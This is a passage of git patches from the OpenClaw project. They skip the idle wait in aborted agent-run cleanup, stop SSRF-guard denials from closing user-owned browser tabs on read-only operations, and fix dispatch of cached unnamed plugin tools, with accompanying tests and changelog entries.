expect(firstMessageContent(groups[1]).some((block) => isCanvasBlock(block))).toBe(false); + expect(canvasBlocksIn(groups[0])).toHaveLength(1); + expect(canvasBlocksIn(groups[1])).toEqual([]); }); it("does not lift generic view handles from non-canvas payloads", () => { @@ -300,7 +300,7 @@ describe("buildChatItems", () => { ], }); - expect(firstMessageContent(groups[0]).some((block) => isCanvasBlock(block))).toBe(false); + expect(canvasBlocksIn(groups[0])).toEqual([]); }); it("lifts streamed canvas toolresult blocks into the assistant bubble", () => { @@ -347,7 +347,7 @@ describe("buildChatItems", () => { ], }); - const canvasBlocks = firstMessageContent(groups[0]).filter((block) => isCanvasBlock(block)); + const canvasBlocks = canvasBlocksIn(groups[0]); expect(canvasBlocks).toHaveLength(1); expect(canvasBlocks[0]).toMatchObject({ preview: { @@ -387,6 +387,10 @@ describe("buildChatItems", () => { }); }); +function canvasBlocksIn(group: MessageGroup): unknown[] { + return firstMessageContent(group).filter((block) => isCanvasBlock(block)); +} + function isCanvasBlock(block: unknown): boolean { return ( Boolean(block) && From b96ac7105d6ef50e67fa74600c8ea50508150346 Mon Sep 17 00:00:00 2001 From: Super Zheng Date: Fri, 8 May 2026 15:12:42 +0800 Subject: [PATCH 076/174] perf(agents): skip idle wait on abort to release session lock synchronously (#74919) Merged via squash. Prepared head SHA: 0af4c4685f6a6374247e8ccf77a3afc154023251 Co-authored-by: medns <1575008+medns@users.noreply.github.com> Co-authored-by: odysseus0 <8635094+odysseus0@users.noreply.github.com> Reviewed-by: @odysseus0 --- CHANGELOG.md | 1 + ...ner.guard.waitforidle-before-flush.test.ts | 39 +++++++++++++++++++ .../run/attempt.subscription-cleanup.ts | 5 +++ src/agents/pi-embedded-runner/run/attempt.ts | 12 ++++++ .../wait-for-idle-before-flush.ts | 12 ++++-- 5 files changed, 65 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 32093d2f1d2..2a7453d389e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -625,6 +625,7 @@ Docs: https://docs.openclaw.ai - WhatsApp: stop Gateway-originated outbound echoes from advancing inbound activity in `openclaw channels status`, so outbound self-sends no longer look like handled inbound messages. Fixes #79056. (#79057) Thanks @ai-hpc and @bittoby. - Gateway/nodes: preserve the live node registry session and invoke ownership when an older same-node WebSocket closes after reconnecting. (#78351) Thanks @samzong. - Browser/downloads: route explicit and managed browser download output directories through `fs-safe` validation before staging final files, so symlinked output roots are rejected before writes. (#78780) Thanks @jesse-merhi. +- Agents/PI: skip the idle wait during aborted embedded-run cleanup, so stopped or timed-out runs clear pending tool state and release the session lock promptly. (#74919) Thanks @medns. ## 2026.5.3-1 diff --git a/src/agents/pi-embedded-runner.guard.waitforidle-before-flush.test.ts b/src/agents/pi-embedded-runner.guard.waitforidle-before-flush.test.ts index 207e721ac81..3cb2e8c79aa 100644 --- a/src/agents/pi-embedded-runner.guard.waitforidle-before-flush.test.ts +++ b/src/agents/pi-embedded-runner.guard.waitforidle-before-flush.test.ts @@ -138,4 +138,43 @@ describe("flushPendingToolResultsAfterIdle", () => { }); expect(vi.getTimerCount()).toBe(0); }); + + it("immediately clears pending tool results without waiting when timeoutMs is 0 or less", async () => { + const sm = guardSessionManager(SessionManager.inMemory()); + const appendMessage = sm.appendMessage.bind(sm) as unknown as (message: AgentMessage) => void; + + // Agent that never resolves idle + const idle = deferred(); + const waitForIdleSpy = vi.fn(() => idle.promise); + const agent = { waitForIdle: waitForIdleSpy }; + + appendMessage(assistantToolCall("call_orphan_immediate")); + + // Should resolve immediately without advancing timers + await flushPendingToolResultsAfterIdle({ + agent, + sessionManager: sm, + timeoutMs: 0, + clearPendingOnTimeout: true, + }); + + // Verify waitForIdle was completely bypassed + expect(waitForIdleSpy).not.toHaveBeenCalled(); + + // The pending tool result should be cleared immediately. + expect(getMessages(sm).map((m) => m.role)).toEqual(["assistant"]); + + // Test negative timeout as well + appendMessage(assistantToolCall("call_orphan_negative")); + await flushPendingToolResultsAfterIdle({ + agent, + sessionManager: sm, + timeoutMs: -100, + clearPendingOnTimeout: true, + }); + + // Verify waitForIdle was still bypassed + expect(waitForIdleSpy).not.toHaveBeenCalled(); + expect(getMessages(sm).map((m) => m.role)).toEqual(["assistant", "assistant"]); + }); }); diff --git a/src/agents/pi-embedded-runner/run/attempt.subscription-cleanup.ts b/src/agents/pi-embedded-runner/run/attempt.subscription-cleanup.ts index 5c11eec1412..c23574d382b 100644 --- a/src/agents/pi-embedded-runner/run/attempt.subscription-cleanup.ts +++ b/src/agents/pi-embedded-runner/run/attempt.subscription-cleanup.ts @@ -30,6 +30,7 @@ export async function cleanupEmbeddedAttemptResources(params: { bundleMcpRuntime?: { dispose(): Promise | void }; bundleLspRuntime?: { dispose(): Promise | void }; sessionLock: { release(): Promise | void }; + aborted?: boolean; }): Promise { try { try { @@ -37,11 +38,15 @@ export async function cleanupEmbeddedAttemptResources(params: { } catch { /* best-effort */ } + // PERF: When the run was aborted (user stop / timeout), skip the expensive + // waitForIdle (up to 30 s) and just clear pending tool results synchronously + // so the session write-lock is released ASAP and the next message is not blocked. try { await params.flushPendingToolResultsAfterIdle({ agent: params.session?.agent as IdleAwareAgent | null | undefined, sessionManager: params.sessionManager as ToolResultFlushManager | null | undefined, clearPendingOnTimeout: true, + ...(params.aborted ? { timeoutMs: 0 } : {}), }); } catch { /* best-effort */ diff --git a/src/agents/pi-embedded-runner/run/attempt.ts b/src/agents/pi-embedded-runner/run/attempt.ts index 682b91ecd04..9248cacdbe7 100644 --- a/src/agents/pi-embedded-runner/run/attempt.ts +++ b/src/agents/pi-embedded-runner/run/attempt.ts @@ -2345,6 +2345,10 @@ export async function runEmbeddedAttempt( agent: activeSession?.agent, sessionManager, clearPendingOnTimeout: true, + // PERF: If the run was aborted during the setup, + // skip the idle wait and clear pending results synchronously so we can + // immediately dispose the session and throw the error without blocking. + ...(params.abortSignal?.aborted ? { timeoutMs: 0 } : {}), }); activeSession.dispose(); throw err; @@ -3845,6 +3849,14 @@ export async function runEmbeddedAttempt( bundleMcpRuntime, bundleLspRuntime, sessionLock, + // PERF: If the run was aborted (user stop, timeout, etc.), skip the idle wait + // and clear pending results synchronously so we can release the session lock ASAP. + aborted: + Boolean(params.abortSignal?.aborted) || + aborted || + timedOut || + idleTimedOut || + timedOutDuringCompaction, }); } catch (err) { cleanupError = err; diff --git a/src/agents/pi-embedded-runner/wait-for-idle-before-flush.ts b/src/agents/pi-embedded-runner/wait-for-idle-before-flush.ts index e38089b8789..6ccd0869920 100644 --- a/src/agents/pi-embedded-runner/wait-for-idle-before-flush.ts +++ b/src/agents/pi-embedded-runner/wait-for-idle-before-flush.ts @@ -46,10 +46,14 @@ export async function flushPendingToolResultsAfterIdle(opts: { timeoutMs?: number; clearPendingOnTimeout?: boolean; }): Promise { - const timedOut = await waitForAgentIdleBestEffort( - opts.agent, - opts.timeoutMs ?? DEFAULT_WAIT_FOR_IDLE_TIMEOUT_MS, - ); + const isImmediateTimeout = opts.timeoutMs !== undefined && opts.timeoutMs <= 0; + const timedOut = + isImmediateTimeout || + (await waitForAgentIdleBestEffort( + opts.agent, + opts.timeoutMs ?? DEFAULT_WAIT_FOR_IDLE_TIMEOUT_MS, + )); + if (timedOut && opts.clearPendingOnTimeout && opts.sessionManager?.clearPendingToolResults) { opts.sessionManager.clearPendingToolResults(); return; From d2cb0b0528997c14c625c04f96a03c83adac1608 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:12:38 +0100 Subject: [PATCH 077/174] test: remove redundant lmstudio stream assertion --- extensions/lmstudio/src/stream.test.ts | 1 - 1 file changed, 1 deletion(-) diff --git a/extensions/lmstudio/src/stream.test.ts b/extensions/lmstudio/src/stream.test.ts index 94dac48f742..4413e53acbc 100644 --- a/extensions/lmstudio/src/stream.test.ts +++ b/extensions/lmstudio/src/stream.test.ts @@ -505,7 +505,6 @@ describe("lmstudio stream wrapper", () => { "toolcall_delta", "done", ]); - expect(events.some((event) => event.type === "text_delta")).toBe(false); const done = events.find((event) => event.type === "done") as { message?: { content?: Array>; stopReason?: string }; reason?: string; From 37af50f3db27bad0f4e611c896cbb9686ea594a1 Mon Sep 17 00:00:00 2001 From: scotthuang <101131451@qq.com> Date: Fri, 8 May 2026 15:13:04 +0800 Subject: [PATCH 078/174] fix(browser): keep user tabs open on SSRF-denied reads (#78874) Summary: - Split browser SSRF quarantine from tab closure so read-only browser operations do not close user-owned tabs on policy denial. - Keep OpenClaw-initiated navigation/create paths closing blocked tabs, and add regression coverage for both contracts. - Update changelog with contributor credit. Verification: - pnpm test extensions/browser/src/browser/pw-session.assert-navigation-safety.test.ts extensions/browser/src/browser/pw-tools-core.snapshot.navigate-guard.test.ts - pnpm test extensions/browser/src/browser/pw-tools-core.browser-ssrf-guard.test.ts extensions/browser/src/browser/pw-tools-core.snapshot.test.ts - Exact-head CI success: 25535578610 - Exact-head Real behavior proof success: 25536652326 Thanks @scotthuang. --- CHANGELOG.md | 1 + ...w-session.assert-navigation-safety.test.ts | 124 ++++++++++++++++++ extensions/browser/src/browser/pw-session.ts | 56 ++++++-- .../pw-tools-core.browser-ssrf-guard.test.ts | 2 + ...tools-core.snapshot.navigate-guard.test.ts | 33 +++++ .../browser/pw-tools-core.snapshot.test.ts | 2 + .../src/browser/pw-tools-core.snapshot.ts | 29 ++-- .../src/browser/pw-tools-core.test-harness.ts | 8 ++ 8 files changed, 235 insertions(+), 20 deletions(-) create mode 100644 extensions/browser/src/browser/pw-session.assert-navigation-safety.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 2a7453d389e..118789581b8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -268,6 +268,7 @@ Docs: https://docs.openclaw.ai - Discord/groups: instruct group-chat agents to stay silent when a message is addressed to someone else, replying only when invited or correcting key facts. (#78615) - Discord/groups: tell Discord-channel agents to wrap bare URLs as `` so link previews do not expand into uninvited embeds. (#78614) - Agents/fallback: fail fast on session write-lock timeouts instead of trying fallback models for local file contention. Fixes #66646. Thanks @sallyom. +- Browser/SSRF: stop closing user-owned Chrome tabs when a read-only operation (snapshot/screenshot/interactions) is rejected by the SSRF guard — only OpenClaw-initiated navigations now close on policy denial. Thanks @scotthuang. - Telegram/Codex: generate DM topic labels with Codex-compatible simple-completion requests so auto-created private topics can be renamed instead of staying `New Chat`. - Plugins/runtime fetch: drop third-party symbol metadata from plain request header dictionaries before passing them into native `fetch` or `Headers`, so SDK and guarded/proxy fetch paths do not reject otherwise valid plugin requests. Fixes #77846. Thanks @shakkernerd. - Web fetch: bound guarded dispatcher cleanup after request timeouts so timed-out fetches return tool errors instead of leaving Gateway tool lanes active. (#78439) Thanks @obviyus. diff --git a/extensions/browser/src/browser/pw-session.assert-navigation-safety.test.ts b/extensions/browser/src/browser/pw-session.assert-navigation-safety.test.ts new file mode 100644 index 00000000000..c132ddf1ac7 --- /dev/null +++ b/extensions/browser/src/browser/pw-session.assert-navigation-safety.test.ts @@ -0,0 +1,124 @@ +import type { Page } from "playwright-core"; +import { afterEach, describe, expect, it, vi } from "vitest"; +import { SsrFBlockedError } from "../infra/net/ssrf.js"; +import { + assertBrowserNavigationRedirectChainAllowed, + assertBrowserNavigationResultAllowed, +} from "./navigation-guard.js"; +import { assertPageNavigationCompletedSafely } from "./pw-session.js"; + +vi.mock("./navigation-guard.js", async (importOriginal) => { + const actual = await importOriginal>(); + return { + ...actual, + assertBrowserNavigationRedirectChainAllowed: vi.fn(async () => {}), + assertBrowserNavigationResultAllowed: vi.fn(async () => {}), + }; +}); + +const mockedRedirectChain = vi.mocked(assertBrowserNavigationRedirectChainAllowed); +const mockedResultAllowed = vi.mocked(assertBrowserNavigationResultAllowed); + +afterEach(() => { + mockedRedirectChain.mockReset(); + mockedRedirectChain.mockImplementation(async () => {}); + mockedResultAllowed.mockReset(); + mockedResultAllowed.mockImplementation(async () => {}); +}); + +function fakePage(url = "https://blocked.example/admin"): { + page: Page; + close: ReturnType; +} { + const close = vi.fn(async () => {}); + const page = { + url: vi.fn(() => url), + close, + } as unknown as Page; + return { page, close }; +} + +describe("assertPageNavigationCompletedSafely", () => { + it("does not close the tab when a read-only caller hits an SSRF-blocked URL (response: null)", async () => { + // A read-only caller (snapshot/screenshot/interactions) passes response: null + // and must never lose the user's tab when the policy guard rejects. + mockedResultAllowed.mockRejectedValueOnce(new SsrFBlockedError("blocked by policy")); + + const { page, close } = fakePage(); + + await expect( + assertPageNavigationCompletedSafely({ + cdpUrl: "http://127.0.0.1:18792", + page, + response: null, + ssrfPolicy: { allowPrivateNetwork: false }, + targetId: "tab-1", + }), + ).rejects.toBeInstanceOf(SsrFBlockedError); + + expect(close).not.toHaveBeenCalled(); + }); + + it("does not close the tab when a navigate caller hits an SSRF-blocked URL (response: non-null)", async () => { + // Even when the helper is invoked with a real Response (i.e. on the + // navigate path), the close decision now belongs to the caller. The + // helper must only quarantine + rethrow; the caller's try/catch is + // responsible for closing if it owns the navigation lifecycle. + mockedResultAllowed.mockRejectedValueOnce(new SsrFBlockedError("blocked by policy")); + + const { page, close } = fakePage(); + const response = { request: () => undefined } as unknown as Parameters< + typeof assertPageNavigationCompletedSafely + >[0]["response"]; + + await expect( + assertPageNavigationCompletedSafely({ + cdpUrl: "http://127.0.0.1:18792", + page, + response, + ssrfPolicy: { allowPrivateNetwork: false }, + targetId: "tab-1", + }), + ).rejects.toBeInstanceOf(SsrFBlockedError); + + expect(close).not.toHaveBeenCalled(); + }); + + it("rethrows non-policy errors without touching the tab", async () => { + const boom = new Error("transient playwright error"); + mockedResultAllowed.mockRejectedValueOnce(boom); + + const { page, close } = fakePage(); + + await expect( + assertPageNavigationCompletedSafely({ + cdpUrl: "http://127.0.0.1:18792", + page, + response: null, + ssrfPolicy: { allowPrivateNetwork: false }, + targetId: "tab-1", + }), + ).rejects.toBe(boom); + + expect(close).not.toHaveBeenCalled(); + }); + + it("returns silently when both guards pass", async () => { + const { page, close } = fakePage("https://allowed.example/"); + + await expect( + assertPageNavigationCompletedSafely({ + cdpUrl: "http://127.0.0.1:18792", + page, + response: null, + ssrfPolicy: { allowPrivateNetwork: false }, + targetId: "tab-1", + }), + ).resolves.toBeUndefined(); + + expect(close).not.toHaveBeenCalled(); + expect(mockedResultAllowed).toHaveBeenCalledWith( + expect.objectContaining({ url: "https://allowed.example/" }), + ); + }); +}); diff --git a/extensions/browser/src/browser/pw-session.ts b/extensions/browser/src/browser/pw-session.ts index 31241ed2d7d..ea18eb71b18 100644 --- a/extensions/browser/src/browser/pw-session.ts +++ b/extensions/browser/src/browser/pw-session.ts @@ -854,16 +854,20 @@ function isSubframeDocumentNavigationRequest(page: Page, request: Request): bool } } -function isPolicyDenyNavigationError(err: unknown): boolean { +export function isPolicyDenyNavigationError(err: unknown): boolean { return err instanceof SsrFBlockedError || err instanceof InvalidBrowserNavigationUrlError; } -async function closeBlockedNavigationTarget(opts: { +// Mark a page (and its CDP target id when resolvable) as blocked so subsequent +// OpenClaw operations short-circuit instead of re-running the SSRF check on a +// page we have already proven is non-compliant. This is a pure bookkeeping +// step; it does NOT close the tab. Read-only paths can call this safely on a +// user-owned tab without losing the user's content. +async function quarantineBlockedTarget(opts: { cdpUrl: string; page: Page; targetId?: string; }): Promise { - // Quarantine the concrete page first; then persist by target id when available. markPageRefBlocked(opts.cdpUrl, opts.page); const resolvedTargetId = await pageTargetId(opts.page).catch(() => null); const fallbackTargetId = normalizeOptionalString(opts.targetId) ?? ""; @@ -871,9 +875,24 @@ async function closeBlockedNavigationTarget(opts: { if (targetIdToBlock) { markTargetBlocked(opts.cdpUrl, targetIdToBlock); } +} + +// Quarantine and close a tab that OpenClaw itself navigated to a blocked URL. +// Only callers that own the navigation lifecycle (gotoPageWithNavigationGuard +// and the navigate-style entry points that wrap it) may invoke this — closing +// a tab is a destructive action that must not happen on user-owned tabs from +// read-only operations like snapshot/screenshot/interactions. +export async function closeBlockedNavigationTarget(opts: { + cdpUrl: string; + page: Page; + targetId?: string; +}): Promise { + await quarantineBlockedTarget(opts); await opts.page.close().catch(() => {}); } +// On policy denial: quarantines and rethrows (never closes). +// Navigate-style callers catch the rethrow and close via closeBlockedNavigationTarget. export async function assertPageNavigationCompletedSafely( opts: { cdpUrl: string; @@ -896,7 +915,7 @@ export async function assertPageNavigationCompletedSafely( }); } catch (err) { if (isPolicyDenyNavigationError(err)) { - await closeBlockedNavigationTarget({ + await quarantineBlockedTarget({ cdpUrl: opts.cdpUrl, page: opts.page, targetId: opts.targetId, @@ -1340,14 +1359,27 @@ export async function createPageViaPlaywright( throw err; } } - await assertPageNavigationCompletedSafely({ - cdpUrl: opts.cdpUrl, - page, - response, - ssrfPolicy: opts.ssrfPolicy, - browserProxyMode: opts.browserProxyMode, - targetId: createdTargetId ?? undefined, - }); + // OpenClaw owns this newly-created tab: if the post-navigation safety + // check trips, close the tab we just spawned. + try { + await assertPageNavigationCompletedSafely({ + cdpUrl: opts.cdpUrl, + page, + response, + ssrfPolicy: opts.ssrfPolicy, + browserProxyMode: opts.browserProxyMode, + targetId: createdTargetId ?? undefined, + }); + } catch (err) { + if (isPolicyDenyNavigationError(err)) { + await closeBlockedNavigationTarget({ + cdpUrl: opts.cdpUrl, + page, + targetId: createdTargetId ?? undefined, + }); + } + throw err; + } } // Get the targetId for this page diff --git a/extensions/browser/src/browser/pw-tools-core.browser-ssrf-guard.test.ts b/extensions/browser/src/browser/pw-tools-core.browser-ssrf-guard.test.ts index c9086f440c7..464643147aa 100644 --- a/extensions/browser/src/browser/pw-tools-core.browser-ssrf-guard.test.ts +++ b/extensions/browser/src/browser/pw-tools-core.browser-ssrf-guard.test.ts @@ -7,6 +7,7 @@ const pageState = vi.hoisted(() => ({ const sessionMocks = vi.hoisted(() => ({ assertPageNavigationCompletedSafely: vi.fn(async () => {}), + closeBlockedNavigationTarget: vi.fn(async () => {}), ensurePageState: vi.fn(() => ({})), forceDisconnectPlaywrightForTarget: vi.fn(async () => {}), getPageForTargetId: vi.fn(async () => { @@ -16,6 +17,7 @@ const sessionMocks = vi.hoisted(() => ({ return pageState.page; }), gotoPageWithNavigationGuard: vi.fn(async () => null), + isPolicyDenyNavigationError: vi.fn(() => false), refLocator: vi.fn(() => { if (!pageState.locator) { throw new Error("missing locator"); diff --git a/extensions/browser/src/browser/pw-tools-core.snapshot.navigate-guard.test.ts b/extensions/browser/src/browser/pw-tools-core.snapshot.navigate-guard.test.ts index 546e459ad23..0a4ee02f00e 100644 --- a/extensions/browser/src/browser/pw-tools-core.snapshot.navigate-guard.test.ts +++ b/extensions/browser/src/browser/pw-tools-core.snapshot.navigate-guard.test.ts @@ -144,5 +144,38 @@ describe("pw-tools-core.snapshot navigate guard", () => { expect(getPwToolsCoreSessionMocks().assertPageNavigationCompletedSafely).toHaveBeenCalledTimes( 1, ); + // Navigate-style entry points OWN the navigation lifecycle, so when the + // post-navigation safety check rejects with an SSRF policy error the + // caller is responsible for closing the tab it just navigated. This is + // the counterpart to the read-only paths (snapshot/screenshot/ + // interactions), which must NOT close the tab on the same error. + expect(getPwToolsCoreSessionMocks().closeBlockedNavigationTarget).toHaveBeenCalledTimes(1); + expect(getPwToolsCoreSessionMocks().closeBlockedNavigationTarget).toHaveBeenCalledWith({ + cdpUrl: "http://127.0.0.1:18792", + page: expect.anything(), + targetId: undefined, + }); + }); + + it("does not close the tab when post-navigation rejection is not a policy deny", async () => { + // Non-policy errors (e.g. transient playwright failures) must not be + // treated as "we navigated to a blocked URL" — the tab stays open. + const goto = vi.fn(async () => ({ request: () => undefined })); + setPwToolsCoreCurrentPage({ + goto, + url: vi.fn(() => "https://example.com/final"), + }); + getPwToolsCoreSessionMocks().assertPageNavigationCompletedSafely.mockRejectedValueOnce( + new Error("transient playwright error"), + ); + + await expect( + mod.navigateViaPlaywright({ + cdpUrl: "http://127.0.0.1:18792", + url: "https://example.com/final", + }), + ).rejects.toThrow("transient playwright error"); + + expect(getPwToolsCoreSessionMocks().closeBlockedNavigationTarget).not.toHaveBeenCalled(); }); }); diff --git a/extensions/browser/src/browser/pw-tools-core.snapshot.test.ts b/extensions/browser/src/browser/pw-tools-core.snapshot.test.ts index 97aebadf2e7..dab89e8052f 100644 --- a/extensions/browser/src/browser/pw-tools-core.snapshot.test.ts +++ b/extensions/browser/src/browser/pw-tools-core.snapshot.test.ts @@ -9,10 +9,12 @@ const formatAriaSnapshot = vi.fn(); vi.mock("./pw-session.js", () => ({ assertPageNavigationCompletedSafely: vi.fn(), + closeBlockedNavigationTarget: vi.fn(), ensurePageState, forceDisconnectPlaywrightForTarget: vi.fn(), getPageForTargetId, gotoPageWithNavigationGuard: vi.fn(), + isPolicyDenyNavigationError: vi.fn(() => false), storeRoleRefsForTarget, })); diff --git a/extensions/browser/src/browser/pw-tools-core.snapshot.ts b/extensions/browser/src/browser/pw-tools-core.snapshot.ts index 084fa9ec059..d57e814f217 100644 --- a/extensions/browser/src/browser/pw-tools-core.snapshot.ts +++ b/extensions/browser/src/browser/pw-tools-core.snapshot.ts @@ -19,10 +19,12 @@ import { } from "./pw-role-snapshot.js"; import { assertPageNavigationCompletedSafely, + closeBlockedNavigationTarget, ensurePageState, forceDisconnectPlaywrightForTarget, getPageForTargetId, gotoPageWithNavigationGuard, + isPolicyDenyNavigationError, storeRoleRefsForTarget, } from "./pw-session.js"; import { markBackendDomRefsOnPage, withPageScopedCdpClient } from "./pw-session.page-cdp.js"; @@ -378,14 +380,25 @@ export async function navigateViaPlaywright(opts: { ensurePageState(page); response = await navigate(); } - await assertPageNavigationCompletedSafely({ - cdpUrl: opts.cdpUrl, - page, - response, - ssrfPolicy: opts.ssrfPolicy, - browserProxyMode: opts.browserProxyMode, - targetId: opts.targetId, - }); + try { + await assertPageNavigationCompletedSafely({ + cdpUrl: opts.cdpUrl, + page, + response, + ssrfPolicy: opts.ssrfPolicy, + browserProxyMode: opts.browserProxyMode, + targetId: opts.targetId, + }); + } catch (err) { + if (isPolicyDenyNavigationError(err)) { + await closeBlockedNavigationTarget({ + cdpUrl: opts.cdpUrl, + page, + targetId: opts.targetId, + }); + } + throw err; + } const finalUrl = page.url(); return { url: finalUrl }; } diff --git a/extensions/browser/src/browser/pw-tools-core.test-harness.ts b/extensions/browser/src/browser/pw-tools-core.test-harness.ts index 421ed5649e6..bcacd7d0f84 100644 --- a/extensions/browser/src/browser/pw-tools-core.test-harness.ts +++ b/extensions/browser/src/browser/pw-tools-core.test-harness.ts @@ -18,6 +18,7 @@ let pageState: { const sessionMocks = vi.hoisted(() => ({ assertPageNavigationCompletedSafely: vi.fn(async () => {}), + closeBlockedNavigationTarget: vi.fn(async () => {}), getPageForTargetId: vi.fn(async () => { if (!currentPage) { throw new Error("missing page"); @@ -33,6 +34,13 @@ const sessionMocks = vi.hoisted(() => ({ page: { goto: (url: string, init: { timeout: number }) => Promise }; }) => (await opts.page.goto(opts.url, { timeout: opts.timeoutMs })) ?? null, ), + // Match by name so mocked errors are recognized without importing real classes. + isPolicyDenyNavigationError: vi.fn((err: unknown) => { + if (!(err instanceof Error)) { + return false; + } + return err.name === "SsrFBlockedError" || err.name === "InvalidBrowserNavigationUrlError"; + }), restoreRoleRefsForTarget: vi.fn(() => {}), storeRoleRefsForTarget: vi.fn(() => {}), refLocator: vi.fn(() => { From 3adbbe7c34b5a6946dbb9d6d02c136a958bf8b4b Mon Sep 17 00:00:00 2001 From: zucchini <68502517+zanni098@users.noreply.github.com> Date: Fri, 8 May 2026 12:14:01 +0500 Subject: [PATCH 079/174] fix(plugins): dispatch cached tools by runtime name (#78716) Fix cached descriptor-backed plugin tool dispatch for unnamed factories sharing manifest contracts. Thanks @zanni098! --- CHANGELOG.md | 1 + src/plugins/tools.optional.test.ts | 85 ++++++++++++++++++++++++++++++ src/plugins/tools.ts | 51 ++++++++++++------ 3 files changed, 120 insertions(+), 17 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 118789581b8..b2684c3b0c6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -327,6 +327,7 @@ Docs: https://docs.openclaw.ai - Plugins/update: keep installed official npm and ClawHub plugins such as Codex, Discord, WhatsApp, and diagnostics plugins synced during host updates even when disabled or previously exact-pinned, while preserving third-party plugin pins. Thanks @vincentkoc. - Doctor/status: warn when `OPENCLAW_GATEWAY_TOKEN` would shadow a different active `gateway.auth.token` source for local CLI commands, while avoiding false positives when config points at the same env token. Fixes #74271. Thanks @yelog. - Gateway/HTTP: avoid loading managed outgoing-image media handlers for unrelated requests, so disabled OpenAI-compatible routes return 404 without waiting on lazy media sidecars. Thanks @vincentkoc. +- Plugins: dispatch cached descriptor-backed tools by the resolved runtime tool name for unnamed factories, fixing multi-tool plugins whose shared manifest contracts exposed sibling tools but failed at execution. Fixes #78671. Thanks @zanni098. - Gateway/OpenAI-compatible: send the assistant role SSE chunk as soon as streaming chat-completion headers are accepted, so cold agent setup cannot leave `/v1/chat/completions` clients with a bodyless 200 response until their idle timeout fires. - Agents/media: avoid direct generated-media completion fallback while the announce-agent run is still pending, so async video and music completions do not duplicate raw media messages. (#77754) - WebChat/Codex media: stage Codex app-server generated local images into managed media before Gateway display, so Codex-home image paths no longer hit `LocalMediaAccessError` while keeping Codex home out of the display allowlist. Thanks @frankekn. diff --git a/src/plugins/tools.optional.test.ts b/src/plugins/tools.optional.test.ts index e1de9a25dae..3eeb6a13132 100644 --- a/src/plugins/tools.optional.test.ts +++ b/src/plugins/tools.optional.test.ts @@ -1724,6 +1724,91 @@ describe("resolvePluginTools optional tools", () => { expect(factory).toHaveBeenCalledTimes(2); }); + it("executes the matching cached plugin tool when unnamed factories share declared names", async () => { + const alphaFactory = vi.fn(() => ({ + ...makeTool("implicit_alpha"), + async execute() { + return { content: [{ type: "text", text: "implicit-alpha-ok" }] }; + }, + })); + const betaFactory = vi.fn(() => ({ + ...makeTool("implicit_beta"), + async execute() { + return { content: [{ type: "text", text: "implicit-beta-ok" }] }; + }, + })); + setRegistry([ + { + pluginId: "implicit-owner", + optional: false, + source: "/tmp/implicit-owner.js", + names: [], + declaredNames: ["implicit_alpha", "implicit_beta"], + factory: alphaFactory, + }, + { + pluginId: "implicit-owner", + optional: false, + source: "/tmp/implicit-owner.js", + names: [], + declaredNames: ["implicit_alpha", "implicit_beta"], + factory: betaFactory, + }, + ]); + + const first = resolvePluginTools(createResolveToolsParams()); + const second = resolvePluginTools(createResolveToolsParams()); + const betaTool = second.find((tool) => tool.name === "implicit_beta"); + + expectResolvedToolNames(first, ["implicit_alpha", "implicit_beta"]); + expectResolvedToolNames(second, ["implicit_alpha", "implicit_beta"]); + await expect(betaTool?.execute("call", {}, undefined)).resolves.toEqual({ + content: [{ type: "text", text: "implicit-beta-ok" }], + }); + expect(alphaFactory).toHaveBeenCalledTimes(2); + expect(betaFactory).toHaveBeenCalledTimes(2); + }); + + it("does not invoke unrelated named factories before cached unnamed tool fallback", async () => { + const namedFactory = vi.fn(() => makeTool("unrelated_tool")); + const implicitFactory = vi.fn(() => ({ + ...makeTool("implicit_tool"), + async execute() { + return { content: [{ type: "text", text: "implicit-ok" }] }; + }, + })); + setRegistry([ + { + pluginId: "implicit-owner", + optional: false, + source: "/tmp/implicit-owner.js", + names: ["unrelated_tool"], + declaredNames: ["unrelated_tool"], + factory: namedFactory, + }, + { + pluginId: "implicit-owner", + optional: false, + source: "/tmp/implicit-owner.js", + names: [], + declaredNames: ["implicit_tool"], + factory: implicitFactory, + }, + ]); + + resolvePluginTools(createResolveToolsParams()); + const cachedTools = resolvePluginTools(createResolveToolsParams()); + namedFactory.mockClear(); + implicitFactory.mockClear(); + + const implicitTool = cachedTools.find((tool) => tool.name === "implicit_tool"); + await expect(implicitTool?.execute("call", {}, undefined)).resolves.toEqual({ + content: [{ type: "text", text: "implicit-ok" }], + }); + expect(namedFactory).not.toHaveBeenCalled(); + expect(implicitFactory).toHaveBeenCalledTimes(1); + }); + it("skips factory-returned tools outside the manifest tool contract", () => { const registry = setRegistry([ { diff --git a/src/plugins/tools.ts b/src/plugins/tools.ts index 6d67e608908..7cefab71a2d 100644 --- a/src/plugins/tools.ts +++ b/src/plugins/tools.ts @@ -553,26 +553,43 @@ function createCachedDescriptorPluginTool(params: { loadOptions, onlyPluginIds: [pluginId], }); - const entry = registry?.tools.find( - (candidate) => - candidate.pluginId === pluginId && - (candidate.names.length > 0 ? candidate.names : (candidate.declaredNames ?? [])).some( - (name) => normalizeToolName(name) === normalizeToolName(toolName), - ), - ); - if (!entry) { + const candidates = registry?.tools.filter((candidate) => candidate.pluginId === pluginId); + if (!candidates || candidates.length === 0) { throw new Error(`plugin tool runtime unavailable (${pluginId}): ${toolName}`); } - const resolved = entry.factory(params.ctx); - const listRaw: unknown[] = Array.isArray(resolved) ? resolved : resolved ? [resolved] : []; - for (const toolRaw of listRaw) { - const malformedReason = describeMalformedPluginTool(toolRaw); - if (malformedReason) { - throw new Error(`plugin tool is malformed (${pluginId}): ${malformedReason}`); + const requestedToolName = normalizeToolName(toolName); + const resolveCandidateTool = ( + candidate: PluginToolRegistration, + ): AnyAgentTool | undefined => { + const resolved = candidate.factory(params.ctx); + const listRaw: unknown[] = Array.isArray(resolved) ? resolved : resolved ? [resolved] : []; + for (const toolRaw of listRaw) { + const malformedReason = describeMalformedPluginTool(toolRaw); + if (malformedReason) { + throw new Error(`plugin tool is malformed (${pluginId}): ${malformedReason}`); + } + const runtimeTool = toolRaw as AnyAgentTool; + if (normalizeToolName(runtimeTool.name) === requestedToolName) { + return runtimeTool; + } } - const runtimeTool = toolRaw as AnyAgentTool; - if (normalizeToolName(runtimeTool.name) === normalizeToolName(toolName)) { - return 